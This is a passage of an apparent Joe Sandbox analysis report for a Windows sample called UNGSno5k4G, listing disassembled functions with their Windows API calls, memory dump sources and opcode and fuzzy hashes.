                                                                                                                                                    • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                    • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                    • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                  • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5D1
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1726766782-0
                                                                                                                                                  • Opcode ID: e3e231889b9edf0f74221ee0072ea4e59d90ce0ad37bc94b8ebeee311f112aa0
                                                                                                                                                  • Instruction ID: bf52b5dc2e344941501510e432fc863898df75637e45487ca8cd05157db66b41
                                                                                                                                                  • Opcode Fuzzy Hash: e3e231889b9edf0f74221ee0072ea4e59d90ce0ad37bc94b8ebeee311f112aa0
                                                                                                                                                  • Instruction Fuzzy Hash: 09415C75104701AFD320EF26D845EABB3F8EF88708F008E2DF59A92650D774E945CB6A
                                                                                                                                                  Function 00442582 Relevance: 9.1, APIs: 6, Instructions: 104COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetForegroundWindow.USER32 ref: 00442597
                                                                                                                                                    • Part of subcall function 004344B7: GetWindowRect.USER32(?,?), ref: 004344D3
                                                                                                                                                  • GetDesktopWindow.USER32 ref: 004425BF
                                                                                                                                                  • GetWindowRect.USER32(00000000), ref: 004425C6
                                                                                                                                                  • mouse_event.USER32(00008001,?,?,?,?), ref: 004425F5
                                                                                                                                                    • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                  • GetCursorPos.USER32(?), ref: 00442624
                                                                                                                                                  • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00442690
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 4137160315-0
                                                                                                                                                  • Opcode ID: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                                                                  • Instruction ID: 1581b522c3ee05a339ffa1fd07f9e8cd23967deed6539873686ea33d82c69dd2
                                                                                                                                                  • Opcode Fuzzy Hash: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                                                                  • Instruction Fuzzy Hash: 7C31C1B2104306ABD310DF54CD85E6BB7E9FB98304F004A2EF94597281E675E9058BA6
                                                                                                                                                  Function 00449606 Relevance: 9.1, APIs: 6, Instructions: 91windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 0044961A
                                                                                                                                                  • SendMessageW.USER32 ref: 0044964A
                                                                                                                                                    • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                                                                                  • SendMessageW.USER32(?,00001074,?,00000001), ref: 004496AC
                                                                                                                                                  • _wcslen.LIBCMT ref: 004496BA
                                                                                                                                                  • _wcslen.LIBCMT ref: 004496C7
                                                                                                                                                  • SendMessageW.USER32(?,00001074,?,?), ref: 004496FD
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$_wcslen$_memset_wcspbrk
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1624073603-0
                                                                                                                                                  • Opcode ID: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                                                                                  • Instruction ID: 7e49a266cf7116299f7bc8659d1ce07b00adedb8b3f1b428e1954e4b11147a1e
                                                                                                                                                  • Opcode Fuzzy Hash: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                                                                                  • Instruction Fuzzy Hash: B631CA71508300AAE720DF15DC81BEBB7D4EBD4720F504A1FFA54862D0EBBAD945C7A6
                                                                                                                                                  Function 004416D1 Relevance: 9.1, APIs: 6, Instructions: 84COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                                                                                  • Instruction ID: 0263b137e1f68684b0dae4bb7f633391a2f723f0f4072b7ce39308acd6c8c458
                                                                                                                                                  • Opcode Fuzzy Hash: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                                                                                  • Instruction Fuzzy Hash: 31219272245110ABE7108B68DCC4B6F7798EB96374F240A3AF512C61E1EA7998C1C769
                                                                                                                                                  Function 0045552E Relevance: 9.1, APIs: 6, Instructions: 78windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004555AD
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                  • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: DestroyWindow$DeleteObject$IconMove
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1640429340-0
                                                                                                                                                  • Opcode ID: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                                                                                  • Instruction ID: 2ee25f48dcb0ad8048bc4d9c922f6cac320a9d705fdb810e808868a6102f62dc
                                                                                                                                                  • Opcode Fuzzy Hash: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                                                                                  • Instruction Fuzzy Hash: 05312770200A419FD724DF24C998B3A73F9FB44312F4485AAE945CB266E778EC49CB69
                                                                                                                                                  Function 00455080 Relevance: 9.1, APIs: 6, Instructions: 75windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Destroy$DeleteMenuObject$IconWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 752480666-0
                                                                                                                                                  • Opcode ID: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                                                                                  • Instruction ID: bf467a0aa8f060071afd9cdae546a2eb92d9c059e8a57ac1e588bb5f3fc3a395
                                                                                                                                                  • Opcode Fuzzy Hash: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                                                                                  • Instruction Fuzzy Hash: 26215E30200A019FC724DF24D5E8B7AB7A9FB44312F50855EED498B392CB39EC89CB59
                                                                                                                                                  Function 00455212 Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • DestroyWindow.USER32(00000000), ref: 0045527A
                                                                                                                                                  • ImageList_Destroy.COMCTL32(?), ref: 0045528C
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                  • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3275902921-0
                                                                                                                                                  • Opcode ID: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                                                                                  • Instruction ID: c357af2a313eda44c34a26cb015c973203dd8f66e4d80e74dc1abfaeb9ce60f9
                                                                                                                                                  • Opcode Fuzzy Hash: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                                                                                  • Instruction Fuzzy Hash: 2D217E70604A019BC714DF79D99466AB7A5BF44311F40856EF919CB342DB38E849CF68
                                                                                                                                                  Function 00439326 Relevance: 9.1, APIs: 6, Instructions: 72processCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetCurrentProcess.KERNEL32(0000000A,?,?,?,?,?,00446540,?,?,?,?,?,?,?,?,?), ref: 0043935D
                                                                                                                                                  • OpenProcessToken.ADVAPI32(00000000,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439364
                                                                                                                                                  • CreateEnvironmentBlock.USERENV(?,?,00000001,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439376
                                                                                                                                                  • CloseHandle.KERNEL32(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439383
                                                                                                                                                  • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004393C0
                                                                                                                                                  • DestroyEnvironmentBlock.USERENV(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 004393D4
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1413079979-0
                                                                                                                                                  • Opcode ID: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                                                                  • Instruction ID: 8c652321442b38080740e7d333ba663a52d3460857ef2618669649d87ea194c0
                                                                                                                                                  • Opcode Fuzzy Hash: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                                                                  • Instruction Fuzzy Hash: 7B2150B2208300ABD314CB65D854EABB7EDEBCD754F084E1DF989A3250C7B4E901CB25
                                                                                                                                                  Function 0041415E Relevance: 9.1, APIs: 6, Instructions: 71threadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • ___set_flsgetvalue.LIBCMT ref: 0041418F
                                                                                                                                                  • __calloc_crt.LIBCMT ref: 0041419B
                                                                                                                                                  • __getptd.LIBCMT ref: 004141A8
                                                                                                                                                  • CreateThread.KERNEL32(?,?,004140DB,00000000,?,?), ref: 004141DF
                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 004141E9
                                                                                                                                                  • __dosmaperr.LIBCMT ref: 00414201
                                                                                                                                                    • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                    • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1803633139-0
                                                                                                                                                  • Opcode ID: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                                                                                                  • Instruction ID: ec3febacf030228bba34671a5a373aa86179f0c9a00f1e1343e4adce14cbcb36
                                                                                                                                                  • Opcode Fuzzy Hash: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                                                                                                  • Instruction Fuzzy Hash: 1311DD72504209BFCB10AFA5DC828DF7BA8EF44368B20446EF50193151EB39C9C18A68
                                                                                                                                                  Function 004555E0 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • ImageList_Destroy.COMCTL32(?), ref: 004555E8
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                  • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                  • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3275902921-0
                                                                                                                                                  • Opcode ID: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                                                                                  • Instruction ID: 9e206caaed87a4944845468030bda76e3f946505fe2e652cce1cc100bc4c7c20
                                                                                                                                                  • Opcode Fuzzy Hash: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                                                                                  • Instruction Fuzzy Hash: BE2141702006409FCB25DF25C994A2B77A9FF44312F80856EED49CB352DB39EC4ACB59
                                                                                                                                                  Function 0043609C Relevance: 9.1, APIs: 6, Instructions: 59COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcslen$_wcstok$ExtentPoint32Text
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1814673581-0
                                                                                                                                                  • Opcode ID: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                                                                  • Instruction ID: 25d714350c6a951fb861184d208c8546153e966ae5ec0a2422e5c8358eb53325
                                                                                                                                                  • Opcode Fuzzy Hash: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                                                                  • Instruction Fuzzy Hash: F60125B19053126BC6209F95DC42B5BB7E8EF45760F11842AFD04E3340D7F8E84483EA
                                                                                                                                                  Function 00436272 Relevance: 9.1, APIs: 6, Instructions: 59sleepCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                  • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362A7
                                                                                                                                                  • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362B2
                                                                                                                                                  • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362BA
                                                                                                                                                  • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362C5
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2833360925-0
                                                                                                                                                  • Opcode ID: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                                                                  • Instruction ID: c21ea81f2c38402705b15ef58ab4919efdb6e4f3ef0ac894e378511a69de5cf2
                                                                                                                                                  • Opcode Fuzzy Hash: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                                                                  • Instruction Fuzzy Hash: C411D031909306ABC700EF19DA8499FB7E4FFCCB11F828D2DF98592210D734C9498B96
                                                                                                                                                  Function 004471EC Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                    • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                    • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                    • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                    • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                  • MoveToEx.GDI32(?,?,?,00000000), ref: 0044721F
                                                                                                                                                  • LineTo.GDI32(?,?,?), ref: 00447227
                                                                                                                                                  • MoveToEx.GDI32(?,?,?,00000000), ref: 00447235
                                                                                                                                                  • LineTo.GDI32(?,?,?), ref: 0044723D
                                                                                                                                                  • EndPath.GDI32(?), ref: 0044724E
                                                                                                                                                  • StrokePath.GDI32(?), ref: 0044725C
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 372113273-0
                                                                                                                                                  • Opcode ID: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                                                                  • Instruction ID: cf4011081099dc8586e946db52605055ec0608de7db987eb6b7af15cf0be2a5d
                                                                                                                                                  • Opcode Fuzzy Hash: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                                                                  • Instruction Fuzzy Hash: B7018F36105264BBE2119750EC4AF9FBBACEF8A710F14451DF70156191C7F42A0587BD
                                                                                                                                                  Function 00410940 Relevance: 9.0, APIs: 6, Instructions: 49keyboardCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0041098F
